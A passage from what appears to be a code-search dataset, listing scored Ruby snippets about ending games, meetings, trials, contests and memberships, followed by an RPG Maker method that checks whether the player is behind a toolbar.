TrialOwnership.where(:ended_at => nil, :user_id => params[:user_id])\n end\n\n #for group of users\n unless params[:user_ids].nil?\n toEnd = TrialOwnership.where(:ended_at => nil, :user_id => params[:user_ids])\n end\n\n #for selected trials using ownership id\n unless params[:ids].nil?\n #to only end selected\n toEnd = toEnd.where(:id => params[:ids])\n end\n\n #for selected trials trial id\n unless params[:trial_ids].nil?\n #to only end selected\n toEnd = toEnd.where(:trial_id => params[:trial_ids])\n end\n\n endSelected toEnd\n\n @results_msgs = 'success'\n\n end", "title": "" }, { "docid": "ba4a54071d91d7533c6d8fac829aa55b", "score": "0.5476411", "text": "def mentor_quit_notify(mentor)\n @mentor = mentor\n @group = mentor.group\n @coach = @group.admin\n mail to: @coach.email, subject: \"A mentor has chosen to leave your group.\"\n end", "title": "" }, { "docid": "03a02b743bfb5db3fa4f7bde79e05253", "score": "0.54724383", "text": "def turn_end(member = nil)\n process_autostate_skill(member)\n process_turn_resets(member)\n # noinspection RubyArgCount\n h87_attragg_turn_end(member)\n infect_plague\n charge_anger\n end", "title": "" }, { "docid": "1dfd29a65993e6d5b53858f9ada89e2a", "score": "0.5463324", "text": "def send_end\n require_server\n self.server.api.end_meeting(self.meetingid, self.moderator_password)\n end", "title": "" }, { "docid": "ce4540f754d864eb0da666ea8ead91b2", "score": "0.5450637", "text": "def turn_end(param = nil)\n h87_attragg_turn_end(param)\n infect_plague\n charge_anger\n end", "title": "" }, { "docid": "c2a737f70077923c06af0dbf4a7a52df", "score": "0.54384243", "text": "def end_poll\n\t\t# The expert user tries to convince the others\n\t\tself.finished!\n\t\tconvinced_users_hash = self.expert_user.try_to_convince_other_responders(self)\n\tend", "title": "" }, { "docid": "5ae93be857c02f48ef8b6113d9f46062", "score": "0.540821", "text": "def end_of_game(user)\n\tputs \"La partie est finie\"\n\tif user.life_points > 0 \n\t\tputs \"BRAVO ! TU AS GAGNE !\"\n\telse\n\t\tputs \"Loser ! Tu as perdu !\"\n\tend\nend", "title": "" }, { "docid": "59a81c995f50d4389435c7dae07057b1", "score": "0.54065853", "text": "def end_ratio_watch\n self.role = Role.find_by_name(Role::USER)\n self.ratio_watch_until = nil\n save!\n end", "title": "" }, { "docid": "182b9b42a2891ab7c329860df68d5e5e", "score": "0.5344491", "text": "def end_hike\n self.time_hiked = Time.now - self.date\n self.completed = true\n self.save\n end", "title": "" }, { "docid": "0622072c655b92ace0ee34d93161a137", "score": "0.53197736", "text": "def end\n\t\tif @user1.life_points>0 then\n\t\t\tputs \"BRAVO !!!! TU AS GAGNE !\"\n\t\telse\n\t\t\tputs \"BOUUUUUUU! TU AS PERDU !\"\n\t\tend\n\tend", "title": "" }, { "docid": "e08e177d475b356d257804602a293cfa", "score": "0.5314642", "text": "def end_meeting(meeting_id, moderator_password)\n send_api_request(:end, {:meetingID=>meeting_id,:password=>moderator_password} )\n end", "title": "" }, { "docid": "86eba89f3bd3e1dd7ae94e640825fb44", "score": "0.5279285", "text": "def upgrade_ministry_involvement(ministry, role)\n atts = {\n :ministry_role_id => role.id,\n :ministry_id => ministry.id,\n :person_id => self.id,\n :admin => self.cim_hrdb_admins.count > 0,\n :end_date => nil\n }\n\n # find highest ministry involvement\n mi = self.ministry_involvements.find(:first, :conditions => [\"#{::MinistryInvolvement.table_name + '.' + _(:ministry_id, :ministry_involvement)} IN (?)\", ministry.id], :joins => :ministry_role, :order => _(:position, :ministry_role))\n\n if mi.nil?\n mi = ministry_involvements.create!(atts)\n else\n # don't demote them (higher roles have lower position values)\n if (mi.ministry_role.class == ::StaffRole && role.class == ::StudentRole) ||\n (mi.ministry_role && mi.ministry_role.position < role.position)\n atts.delete :ministry_role_id\n end\n\n mi.update_attributes atts\n end\n end", "title": "" }, { "docid": "231e972c37c5eee6b087ef4aa2d7b30a", "score": "0.51944435", "text": "def game_end(user)\n puts \"La partie est finie\" \n if user.life_points > 0\n puts \"BRAVO ! TU AS GAGNE !\"\n else \n puts \"Loser ! Tu as perdu !\"\n end\nend", "title": "" }, { "docid": "491fce58133f1b521e04c0a6f50c1439", "score": "0.5190364", "text": "def terminated_by(user)\n user.terminated_by.nil? ? 'System user' : user.terminated_by.full_name\n end", "title": "" }, { "docid": "a196866a3e70b46f42b917880cadf645", "score": "0.51846343", "text": "def end_game(winner)\n self.completed = true\n self.save!\n self.living_players.each do |player|\n if player != winner\n player.assassinated\n else\n player.user.remove_current_game\n end\n end\n puts \"#{winner.user.user_name} won the game!\"\n end", "title": "" }, { "docid": "b255b457ec22e3bff4a4495c6c5a7a29", "score": "0.51759106", "text": "def exit_elevator(person)\n @exiting_people << person\n end", "title": "" }, { "docid": "4094795750bce573ba0e14c547355b92", "score": "0.51612717", "text": "def end_contest\n self.status = 'FINISHED'\n \n #count the votes and declare a winner\n self.winner = nil\n self.is_a_tie = false\n \n #this algorithm assumes two contestants\n contestants.each { |contestant|\n if winner == nil\n self.winner = contestant\n elsif contestant.votes_for_contest(id) > winner.votes_for_contest(id)\n self.winner = contestant\n elsif contestant.votes_for_contest(id) == winner.votes_for_contest(id)\n #its a tie\n\n self.is_a_tie = true\n self.winner = nil\n end\n } \n self.save!\n \n #assign reward points\n if is_a_tie\n contestants.each {|contestant|\n contestant.user.reward_for_tie(\"contest: \" + self.name + \"resulted in a TIE\", contestant.id)\n }\n logger.info \"contest ID \" + id.to_s + \" Result: Its a Tie!\"\n else\n logger.info winner.name + \" Won contest: \" + name\n self.winner.user.reward_for_winning(winner.name + \" Won contest: \" + name, winner.id)\n logger.info \"contest ID \" + id.to_s + \" Result: winner is contestant ID \" + winner.id.to_s + \", \" + winner.name\n end\n end", "title": "" }, { "docid": "535b4687f190045e9e70da1ab20533fc", "score": "0.5154012", "text": "def endgame\n\t\tt=Time.now\n\t\t@user=User.find_by(id: params[:id])\n @m=Match.find_by(id: params[:match_id])\n authorize! :endgame, @m, :message => \"Non sei autorizzato a modificare punteggio di questa partita\"\n\t\tif((t<=>@m.data) == 1)\n\t\t\t@m.punt1=params[:punt1]\n\t\t\t@m.punt2=params[:punt2]\n\t\t\t@m.save\n\t\t\tputs \"chiuso correttamente\"\n\t\telse\n\t\t\tputs \"non è ancora finito\"\n\t\tend\n\tend", "title": "" }, { "docid": "d4dee614762f6a698342851ed4b38add", "score": "0.512788", "text": "def battle_end_me\r\n @battle_end_me || $data_system.battle_end_me\r\n end", "title": "" }, { "docid": "b22ca9d116c0a49e9268aa59b6cfb5ec", "score": "0.51178825", "text": "def check_for_end_of_membership observed\n if observed.changes[:end_date] && observed.changes[:end_date] != '12/31/9999'\n member = Member.find(observed.id)\n lists = DistList.where(\"club_id = ? and auto_delete = 'Y'\", member.club_id)\n lists.each do |list|\n dist_list_member = DistListMember.where(\"member_id = ? and dist_list_id = ?\", member.id, list.id).first\n DistListMember.delete(dist_list_member.id) if dist_list_member\n end\n end\n end", "title": "" }, { "docid": "2067dd916cacd136b3b7f7033686238d", "score": "0.51009136", "text": "def end_employment(admin, reason)\n raise ArgumentError, 'Employee is not active, cannot re-end employment' unless active\n\n admin_events.create!(admin: admin.id, action: 'EndEmployment', reason: reason)\n # max size of has_secure_password is 72 (HEX(36)) and scramble access password just in case.\n update!(password: SecureRandom.hex(36), active: false)\n pay(Time.zone.now)\n end", "title": "" }, { "docid": "7ed574adbfc32994a0dfe56d2834115a", "score": "0.50991315", "text": "def ended\n update_attributes({is_completed: IS_COMPLETED, is_holding: IS_NOT_HOLDING})\n end", "title": "" }, { "docid": "26314d2aa8f00bff3266d428c006a4b1", "score": "0.507104", "text": "def end_round\r\n super\r\n if self.worker?\r\n @experience[@job] += 1\r\n if not @skills.include? @job and @experience[@job] > 100\r\n @skills << @job\r\n if @working_on.is_a? Building\r\n city = @working_on.city\r\n elsif @working_on.is_a? Tile\r\n city = @working_on.belongs_to\r\n end\r\n $ui.messages << _('In %s, a peasant has become skilled as a %s.') % [city.name, @job.name]\r\n end\r\n end\r\n end", "title": "" }, { "docid": "78e92a89685dd3bd55b0e17bac2ba3f8", "score": "0.50629795", "text": "def end_time\n experiment_group && experiment_group.end_time\n end", "title": "" }, { "docid": "6a8658df58691805e303b87ef4d07d16", "score": "0.50447756", "text": "def trigger_week_end( by_user )\n discuss_tasks.each{|task| task.trigger_transition(\"complete\", by_user, true) }\n calc_task_stats\n end", "title": "" }, { "docid": "06fde3a0e2cdad914af10fad6a79fc14", "score": "0.5042794", "text": "def end_turn\n # TODO: simplify this... kinda brittle\n if night?\n candidates = current_events.votes.select { |e| e.source_player.werewolf? }.map { |e| e.target_player }\n candidates = werewolves.length > 1 ? candidates.modes : candidates\n else # day\n candidates = current_events.votes.map { |e| e.target_player }.modes || []\n end\n\n if victim = (candidates || []).first\n logger.info \"End of turn for Game [#{id}] : Victim is #{victim.user.login}\"\n KillEvent.create(:period => current_period, :target_player => victim)\n else\n logger.info \"End of turn for Game [#{id}] : Nobody was killed this period\"\n end\n end", "title": "" }, { "docid": "f6639596285e8ddfce205c68285e3db1", "score": "0.50367665", "text": "def display_end\r\n @users.each do |i|\r\n puts i.username + ': ' + i.coins.to_s + ' billcoins'\r\n end\r\n end", "title": "" }, { "docid": "b686cfd7dce2a6e341851aefd8270c87", "score": "0.50331694", "text": "def leave( user )\n user.active = false\n if user.save\n return \"Take a break! :desert_island: Type `opt`, `yes` or `join` anytime to hop back in.\"\n else\n return \"Sorry, something went wrong. :robot_face: Please try again.\"\n end\n end", "title": "" }, { "docid": "8dbd1864046460ef89a6f7ea66e93123", "score": "0.50283325", "text": "def force_end\n self.player_missions.where(success: nil).each do |mission|\n mission.debrief\n end\n end", "title": "" }, { "docid": "adb5bf69a63ca2390900295b8beb6824", "score": "0.49804744", "text": "def ending(agent)\n end", "title": "" }, { "docid": "4d3bf89ff06b48b3a6c37b6fee4bbc95", "score": "0.49788687", "text": "def close\n ap \"CLOSING #{params[:id]}\"\n @event = Event.find(params[:id])\n user_ids = @event.e_state&.split(\";\")\n if user_ids.include? current_user.id.to_s # if the user is included in participants, then remove it from the state\n user_ids.delete(current_user.id.to_s)\n @event.e_state = user_ids.join(\";\")\n @event.save\n end\n\n end", "title": "" }, { "docid": "9e2ab825f79438b16d7dcf91d77535b4", "score": "0.49684048", "text": "def register_poll_end(uid)\n @update_mutex.synchronize do\n u = @roster.get_user(uid)\n # If there's still another connection for this user, don't register\n # the poll time (see wait_for_new_state() for gory details).\n u.poll_end = Time.now if u and @num_waiters_by_uid[uid] == 0\n end\n end", "title": "" }, { "docid": "bc62ce0cf6afeb9a08562ec0905e59da", "score": "0.49548805", "text": "def end(value)\n merge(gaiend: value.iso8601)\n end", "title": "" }, { "docid": "317191e23c922f6356eee7b9a51a2415", "score": "0.49522033", "text": "def leave!(reason = 'Logout')\n self.active = false\n self.save\n \n UserLeftEvent.new(self, 'Logout').enqueue_for_all_active_users(:except => self.id)\n \n # TODO: End active games that the user was participating in...\n \n \n self\n end", "title": "" }, { "docid": "5dd7c3f1413e669283f1831a06db9647", "score": "0.49502477", "text": "def finish\n # 5a. The expert determines that the question has already been answered.\n # 5a.1 The expert assigns the question to an existing answer.\n # 6. The user is notified of the answer to their question.\n end", "title": "" }, { "docid": "51d0d8c867ec6fe9a42214862b8e050c", "score": "0.4932731", "text": "def end_date\n deadline\n end", "title": "" }, { "docid": "794973493586347f3fcc58227545a378", "score": "0.49303773", "text": "def registration_completed; end", "title": "" }, { "docid": "b56a5425b964a49ae2939ec20d07bcf6", "score": "0.4918823", "text": "def clock_out!\n #dont clock out if already done\n\n raise \"Can't clock out on completed shift\" if completed == true\n\n #completed\n self.completed = true\n\n #finished at\n self.finished_at = Time.zone.now\n\n #wage\n calculate_wage_earned!\n\n self.save!\n self\n end", "title": "" }, { "docid": "6ce164d48fb32b35b5f095cb9c13f1fc", "score": "0.4918217", "text": "def finish\n # 5.a. The expert determines that the question has already been answered.\n # 5.a.1. The expert assigns the question to an existing answer.\n # 6. The user is notified of the answer to her question.\n end", "title": "" }, { "docid": "f5b10bb47c3474a9ddeeda479d48b8a6", "score": "0.4917481", "text": "def test_end_of_day_emotions_victorius\n\t\t@simulation.prep_hunt(@rando, 1, 1)\n\t\t@simulation.curr_prospector.total_rubies = 10\n\t\tassert_output(/Going home victorius!/) { @simulation.end_of_day_emotions }\n\tend", "title": "" }, { "docid": "24c5e2348a9952d8eed2f19ae78d5c13", "score": "0.49145734", "text": "def complete\n # Relief adventurers and calculate quest factor\n result = quest.battle(adventurers)\n guild = self.guild\n gm = guildmaster\n # Success/Fail judgement\n if result[:result]\n quest.state = 'successful'\n guild.popularity = guild.popularity + quest.difficulty\n gm.gold = gm.gold + quest.reward\n msg = { msg: :success, type: :QuestEvent, gold_gain: quest.reward, popularity_gain: quest.difficulty, quest: quest, adventurers: adventurers, battle_log: result[:log] }\n else\n quest.state = 'failed'\n guild.popularity = guild.popularity - quest.difficulty\n msg = { msg: :failed, type: :QuestEvent, popularity_lost: quest.difficulty, quest: quest, adventurers: adventurers, battle_log: result[:log] }\n end\n adventurers.each do |adv|\n guild.popularity = guild.popularity / 2 if adv.state == 'dead'\n end\n guild.save\n gm.game_time = end_time\n gm.save\n save\n msg\n end", "title": "" }, { "docid": "b3242fc855fd41877dc1f75e43959d4a", "score": "0.49144217", "text": "def end_of_day\n \n end", "title": "" }, { "docid": "629db77a849daaab2e14027926173dd8", "score": "0.49100578", "text": "def log_event\n @who_attended.each do |name|\n if @member_totals.has_key?(name)\n update_totals(name, @check.per_person)\n else\n new_member(name)\n update_totals(name, @check.per_person)\n end #if\n @event_log[@event] = @who_attended\n end #.each\n end", "title": "" }, { "docid": "5b6dc3bd82e106b93c108869629f1a1f", "score": "0.4908716", "text": "def end_reached\n print\n puts \"You have escaped the Labyrinth!\\n You are free, Minotaur!\"\n end", "title": "" }, { "docid": "8b1ba25aba31486cc1faffa524fc8684", "score": "0.4907875", "text": "def end\n # set status to :ended\n ended!\n\n self.winner = winning_bid.bidder\n self.save\n end", "title": "" }, { "docid": "ee2d89e27d5cfa7597dfc1d74e34c114", "score": "0.49045873", "text": "def finish_quest\n increment_user_score\n increment_user_carbone_print\n end", "title": "" }, { "docid": "c61d435cfd6aef15a777578f74594dcb", "score": "0.48942652", "text": "def end_date\n \tputs \"l'évènement finira le :\"\n \t@start_date += @duration\n end", "title": "" }, { "docid": "f607403931cbd09eee505e54c2f5a0e9", "score": "0.48936883", "text": "def finish_homework\n kid = Kid.first\n KidMailer.finish_homework(kid)\n end", "title": "" }, { "docid": "4f6755312bd064334c1046b7deff00c9", "score": "0.48897296", "text": "def claim_statement_period_end(*options)\n claim_end_date = @classified_eob.get_end_date(@claim)\n to_print_claim_dates(claim_end_date)\n end", "title": "" }, { "docid": "7969cc062516beeec5280e293c7234f8", "score": "0.488879", "text": "def respond_and_close(current_user)\n state_machine.respond!(acting_user: current_user, acting_team: self.responding_team)\n state_machine.close!(acting_user: current_user, acting_team: self.responding_team)\n end", "title": "" }, { "docid": "7969cc062516beeec5280e293c7234f8", "score": "0.488879", "text": "def respond_and_close(current_user)\n state_machine.respond!(acting_user: current_user, acting_team: self.responding_team)\n state_machine.close!(acting_user: current_user, acting_team: self.responding_team)\n end", "title": "" }, { "docid": "96e3ab54b96032cdcb83d3b0e0bf36ab", "score": "0.48883337", "text": "def end!\n update(\n end_at: Time.zone.now,\n final_home_team_score: home_team_score,\n final_away_team_score: away_team_score,\n winner_team: set_winner\n )\n end", "title": "" }, { "docid": "d0c411d109217fad73592752fe55ed8b", "score": "0.48862058", "text": "def notify_mentors(homework)\n mentors.each do |mentor|\n topic = \"#{name} #{surname} add #{homework.number}\"\n message = \" #{homework.description} #{homework.link}\"\n mentor.notifications << Notification.new(topic, message)\n end\n end", "title": "" }, { "docid": "d2205dbc60156574503fb4abd8927cef", "score": "0.4878943", "text": "def finish_bet\n bet_options.each do |op|\n op.user_bets.each do |ub|\n if op.win\n amount = ub.amount * ub.percentage\n us = ub.user\n us.amount = us.amount + amount\n us.save\n Notification.create(message: \"La apuesta #{self.name} ha finalizado.Tu apuesta de #{ub.amount} por #{ub.bet_option.description} ha salido ganadora \", user: ub.user)\n else\n Notification.create(message: \"La apuesta #{self.name} ha finalizado.Tu apuesta de #{ub.amount} por #{ub.bet_option.description} ha perdido \", user: ub.user)\n end\n end\n end\n self.user_bets.each do |usr_bet|\n UserMailer.bet_finished(usr_bet.user, self).deliver_now\n end\n end", "title": "" }, { "docid": "f6c7be59710e6a5f4306e2f225843ce8", "score": "0.48704898", "text": "def finish_homework(kid)\n @kid = kid\n @facility = @kid.facility\n mail to: kid.email, subject: '宿題が終わりました!'\n end", "title": "" }, { "docid": "5765b98853614b4be472673d62d68675", "score": "0.48673728", "text": "def sign_out\n @worker = Worker.find(params[:id])\n @work_time = @worker.clock_out\n @end = @work_time.end_at.strftime(\"%I:%M%p\")\n @message = @work_time.punch_message()\n\n if @worker.save and @work_time.save\n respond_to do |format|\n format.html { render :partial => \"sign_out\" }\n end\n end\n end", "title": "" }, { "docid": "6e7df2e9775fc581d2e73e1298604018", "score": "0.48573792", "text": "def end\n if !@attempt.end && @attempt.start then\n @attempt.end=DateTime.now\n respond_to do |format|\n if @attempt.save\n format.html { redirect_to @attempt, notice: 'Attempt was successfully ended.' }\n format.json { render :show, status: :created, location: @attempt }\n else\n format.html { render :show }\n format.json { render json: @attempt.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to @attempt, :flash => { :error => 'Attempt has to be active.' }\n end\n end", "title": "" }, { "docid": "3b8764481b83a26326cd99472f09bbfc", "score": "0.48544568", "text": "def on_battle_end\r\n @in_battle = false\r\n members.each {|member| member.on_battle_end }\r\n end", "title": "" }, { "docid": "bc077ece609bc180feaa0243e1a106c6", "score": "0.48486388", "text": "def finish\n salve = Salve.where(id: params[:salve], user_id: params[:user], topic_id: params[:topic], finished: false).first\n if !salve.blank?\n salve.finished = true\n if salve.save\n redirect_to topic_path(params[:topic])\n else\n redirect_to topic_path(params[:topic]), alert: \"Problème lors de l'enregistrement\"\n end\n else\n redirect_to root_path, alert: \"Salve invalide\"\n end\n end", "title": "" }, { "docid": "99d64a8077e0d69f0cea92353bce43a6", "score": "0.48460668", "text": "def finished_work(agent, work_unit, result)\n end", "title": "" }, { "docid": "bb40f0e9fabd4afec59d4094ec6438ef", "score": "0.4844728", "text": "def completing_invite; end", "title": "" }, { "docid": "91502581516b1d3659cc1f30aa61983e", "score": "0.48402733", "text": "def last_encounter\n Encounter.where(:user_id => self.id).last\n end", "title": "" }, { "docid": "66452be8e6b5dfbb49d3dc0cebc4dd21", "score": "0.48384187", "text": "def finish\n if !finished\n # ver como se coloca aqui uma transaction, caso contrário se der erro\n # algmas coisas ficam na mesma inseridas na BD\n self.update_attribute :finished, true\n self.athlete_stats.map &:commit\n self.participations.map &:commit\n self.refresh_group_stat\n end\n end", "title": "" }, { "docid": "3354190a6d707b73b2b343a3e944a8e7", "score": "0.48359993", "text": "def finish_collecting_user_info\n @data.mem.admin = @data.new_user\n \n if @data.changing_existing\n @data.mem.save\n log_contact_changed\n @session.pop\n else\n finish_transaction\n end\n end", "title": "" }, { "docid": "2a46a21b9f1a09707147c0fd64790c97", "score": "0.48345083", "text": "def end_of_day_emotions\n if @curr_prospector.total_rubies > 9\n puts 'Going home victorius!'\n elsif @curr_prospector.total_rubies > 0\n puts 'Going home sad.'\n else\n puts 'Going home empty-handed.'\n end\n end", "title": "" }, { "docid": "fb44a56650ac8af5cc637cbea67a7894", "score": "0.4828241", "text": "def finish_registration\n if request.patch? && params[:user] && params[:user][:username]\n update_params = registration_params\n update_params[:finished_registration?] = true\n if current_user.update(update_params)\n UserMailer.welcome_email(current_user).deliver\n track('Finished registration')\n redirect_to user_profile_url(subdomain: current_user.username), notice: SUCCESS_UPDATE_PROFILE_MESSAGE\n else\n flash[:error] = current_user.errors.full_messages.to_sentence\n redirect_to finish_registration_url, error: FAILURE_UPDATE_PROFILE_MESSAGE\n end\n else\n # Render Form\n end\n end", "title": "" }, { "docid": "4344874607ea61160369478f6d708bf9", "score": "0.48279244", "text": "def ended\n end", "title": "" }, { "docid": "4bea06f28e7745b48d67cb4eab1abd89", "score": "0.48096192", "text": "def on_investigation_end; end", "title": "" }, { "docid": "4bea06f28e7745b48d67cb4eab1abd89", "score": "0.48096192", "text": "def on_investigation_end; end", "title": "" }, { "docid": "55c3eb272d2d90825d51cbece8280e80", "score": "0.47963402", "text": "def save_close_action\n if self.mandated?\n if self.kase && self.kase.can_be_accessed_by?(self.person)\n self.kase.update_attributes(:mandated => \"listed_response\", :mandated_person => self.person)\n end\n end\n end", "title": "" }, { "docid": "70444ced1ab18764171ff00b4473cc32", "score": "0.47937107", "text": "def exam_session_end_time(exam_session)\n time = if exam_session.new_record?\n exam_session.exam.assignment.due_at\n else\n exam_session.ends_at\n end\n time.to_s(:datetime_local_field)\n end", "title": "" }, { "docid": "4c967c470bed1840d6fefce4153d1935", "score": "0.47921753", "text": "def end_lab\n lab = self.lab\n user = self.user \n loginfo = self.log_info.to_s\n logger.info \"LAB END CALLED: #{loginfo}\"\n if !self.start.blank? && self.end.blank? # can only end labs that are started and not ended\n begin\n machines = Vm.where(lab_user_id: self.id) \n # to make sure vms are being removed, do it one by one\n machines.each do |vm|\n vm.delete_vm\n logger.info \"#{vm.name} stopped and deleted @ lab end\"\n end\n # remove the db entries, the before destroy filter should realize there is no vm to destroy and will be 'skipped'\n machines.destroy_all\n logger.debug \"VMS DELETED: #{loginfo}\"\n rescue Exception => e\n logger.error e\n return {success: false, message: \"Mission end failed\" }\n end\n #self.destroy_all_vms\n #end of deleting vms for this lab\n self.uuid = SecureRandom.uuid\n self.token = SecureRandom.uuid # used by client\n self.end = Time.now\n if self.save\n logger.debug \"REMOVE DELAYED JOBS: #{loginfo}\"\n # remove pending delayed jobs\n Delayed::Job.where('queue=?', \"labuser-#{self.id}\").destroy_all\n return {success: true, message: \"Mission ended\" }\n else\n logger.error \"LAB END FAILED: save failed #{loginfo}\"\n return {success: false, message: \"Unable to end this mission\" }\n end\n elsif self.start.blank?\n return {success: false, message: \"This mission has not been started\" }\n else\n return {success: true, message: \"This mission has already been ended\" }\n end\n end", "title": "" }, { "docid": "612ce910b759b7adcb914bfeba25df8c", "score": "0.47911814", "text": "def decommission(end_time)\n self.end_time = end_time\n self.save!\n end", "title": "" }, { "docid": "9e5168a54da79e1997d2352a15d0df8f", "score": "0.47815874", "text": "def add_or_update_ministry(ministry_id, role_id)\n role = ::MinistryRole.find role_id\n\n # TODO: add security so that only staff can add other staff roles\n\n # Add the person to the ministry\n mi = ::MinistryInvolvement.find_by_ministry_id_and_person_id(ministry_id, self.id)\n if mi\n mi.ministry_role_id = role.id\n mi.save\n else\n mi = ministry_involvements.create(:ministry_id => ministry_id, :ministry_role_id => role.id, :start_date => Time.now)\n end\n mi\n end", "title": "" }, { "docid": "e510757147c1c63c8160588f928603f7", "score": "0.4780158", "text": "def finish\n \n current_user.name = params[:name]\n \n year = params[:birthday][\"(1i)\"].to_i\n month = params[:birthday][\"(2i)\"].to_i\n day = params[:birthday][\"(3i)\"].to_i\n current_user.birthday = Date.new(year, month, day)\n \n current_user.recipient1 = params[:recipient1]\n current_user.recipient2 = params[:recipient2]\n current_user.recipient3 = params[:recipient3]\n current_user.recipient4 = params[:recipient4]\n current_user.recipient5 = params[:recipient5]\n \n current_user.save \n end", "title": "" }, { "docid": "d16c9bc5dbd5d538665780a39d448c44", "score": "0.47763076", "text": "def sub_taken_watch(user, owner, new_shift, email_start, email_end, dept, disp)\n @owner = owner\n @new_shift = new_shift\n @email_start = email_start\n @email_end = email_end\n mail(to: \"#{user.name} <#{user.email}>\", from: owner.email,\n subject: \"Re: [Sub Request] Sub needed for \" + disp, date: Time.now)\n end", "title": "" }, { "docid": "268024e5a9cdd46d7bfec6de6a8481ad", "score": "0.47740534", "text": "def activation_end=(value)\n value = (value.respond_to?(:strftime) ? value.strftime('%F %H:%M:%S') : value)\n write_attribute(:activation_end, value)\n end", "title": "" }, { "docid": "b5dda9c9119375125a7bce73addbf4d7", "score": "0.4773366", "text": "def end_election()\n\n\ti = 0\n\twhile i < $mafia_players_ordered.length\n\t\t\n\t\tif $mafia_players_ordered[i].alive && !$mafia_players_ordered[i].role.day_action_elect\n\t\t\treturn\n\t\tend\n\t\t\n\t\ti += 1\n\t\t\n\tend\n\t\n\t$everyone_elected = true\n\t\nend", "title": "" }, { "docid": "be1fa49f92d744dd47999f23275c25ce", "score": "0.47722068", "text": "def user_registration_complete(\n ial2:,\n service_provider_name:,\n page_occurence:,\n needs_completion_screen_reason:,\n sp_session_requested_attributes:,\n sp_request_requested_attributes: nil,\n ialmax: nil,\n **extra\n )\n track_event(\n 'User registration: complete',\n ial2: ial2,\n ialmax: ialmax,\n service_provider_name: service_provider_name,\n page_occurence: page_occurence,\n needs_completion_screen_reason: needs_completion_screen_reason,\n sp_request_requested_attributes: sp_request_requested_attributes,\n sp_session_requested_attributes: sp_session_requested_attributes,\n **extra,\n )\n end", "title": "" }, { "docid": "1de76b67719a606ad3a88e4c6758e90e", "score": "0.4769975", "text": "def has_registration_ended?\n end_time_for_registration <= Time.now.to_i\n end", "title": "" }, { "docid": "cf1985e73027e1ee00f05cecb9809df7", "score": "0.4767176", "text": "def finish\n #check if the session is still valid or the survey is beening accessed correcty\n #this session variable must be valid throughout each step of the survey\n if session[:subject_id] == nil\n raise \"Your session has expired or an error has occured\"\n end\n \n @statistician = Statistician.find(params[:id])\n #record completion of survey, if this does not occur survey will not be recognized as \n #complete\n completed = \n UserCompletedSurvey.new(:subject_id => session[:subject_id], \n :statistician_id => @statistician.id)\n \n respond_to do |format| \n if completed.save\n #delete any skip logic information for this repondant, if any. This is only needed if survey is \n #still being used\n UserSkip.delete_all([\"subject_id = ? and statistician_id = ?\", \n session[:subject_id], @statistician.id])\n reset_session\n format.html { render :layout => \"statistician\" }\n else\n format.html { render :layout => \"statistician\" }\n end\n end\n end", "title": "" }, { "docid": "cbf1294bebe1dc87c630d6a624381741", "score": "0.47667107", "text": "def end_now\n #self.update_attribute(name, value)\n self.update_attribute(:end_time, Time.current)\n end", "title": "" }, { "docid": "45592fe7e45a936f41da32ac7759c3cd", "score": "0.47657198", "text": "def on___end__(value); end", "title": "" }, { "docid": "61ee78ebac347b91876265520476e199", "score": "0.47652984", "text": "def reinstate\n \trelated_party.reinstate_role(new_end_date) if related_party.present?\n \twrite_attribute(:end_date, nil)\n end", "title": "" }, { "docid": "2147daa40d47be750014d1008e6adb85", "score": "0.47649726", "text": "def end(value)\n merge(wlend: value.iso8601)\n end", "title": "" }, { "docid": "a3a7447ccfb39c2ec277b6c9ed08da63", "score": "0.476229", "text": "def onUserLeave(server, channel, user, reason)\n end", "title": "" }, { "docid": "d5fbfa3303715cf380c09944b2ced373", "score": "0.4761492", "text": "def end\n @time_span.end\n end", "title": "" }, { "docid": "e8dc0c6b6b5d2b2b530c5759f0b5a5f3", "score": "0.47586015", "text": "def end_voting()\n\n\ti = 0\n\twhile i < $mafia_players_ordered.length\n\t\t\n\t\tif $mafia_players_ordered[i].alive && !$mafia_players_ordered[i].role.day_action_vote\n\t\t\tputs 'Waiting for others to make their move'\n\t\t\treturn\n\t\tend\n\t\t\n\t\ti += 1\n\t\t\n\tend\n\t\n\t$everyone_voted = true\n\t\nend", "title": "" }, { "docid": "79d14151bc127cd1069fcf251c481d38", "score": "0.47551668", "text": "def ended\n\t\t@challenges = current_user.challenges\n\t\t\t.where('end_date < ? or winner_id is not null', Time.now)\n\t\t\t.order(title: :asc)\n\t\trender 'index', status: :ok\n\tend", "title": "" }, { "docid": "a8028dfd74099f49bbbb198339961c0b", "score": "0.47510025", "text": "def end\n task_class.new(reward).end if task_class\n end", "title": "" }, { "docid": "38bd9c736f356df27760c211e2434063", "score": "0.47497657", "text": "def end_time_for_registration\n registration_end_timestamp || sale_end_timestamp\n end", "title": "" }, { "docid": "35fce806ec082a9d98ed181efdc39af8", "score": "0.47470877", "text": "def finish\n update(:state => \"Finished\", :finished_at => Time.now.utc)\n end", "title": "" }, { "docid": "8a28d15ff995e7703f0d5b7d4a9464b1", "score": "0.4746372", "text": "def embrace affirmation\n @listener.notify self, AffirmationEvent.new(:embrace_started, affirmation)\n affirmation.embrace self\n @listener.notify self, AffirmationEvent.new(:embrace_ended, affirmation)\n end", "title": "" }, { "docid": "c2702e974e131132447de88f1077d029", "score": "0.4745906", "text": "def after_save(membership)\r\n group = membership.group\r\n user = membership.user\r\n user.rounds.each { |r|\r\n Outing.create_if_needed(r, group)\r\n }\r\n end", "title": "" }, { "docid": "3402feac1175ba9c1491fb4e9354b2da", "score": "0.47441295", "text": "def reissue\n\n begin\n #update that the user and decrement the appropiate counter\n \n self.enddte = DateTime.parse(self.end.to_s) + 15.days\n self.save\n return true\n \n rescue => ex\n errors[:base] = ex.message\n return false\n end\n\n end", "title": "" } ]
9b7bc3b8ee455c274862a193a032038d
Check if character is behind window
[ { "docid": "199e570e94a0720e842da41a2b8e26a9", "score": "0.70681334", "text": "def behind_toolbar?\n px = ($game_player.screen_x / 32)\n py = ($game_player.screen_y / 32)\n return ( ((3 - px) < 0 && px <= 17) && (10.5 - py) < 0 ) ? true : false\n end", "title": "" } ]
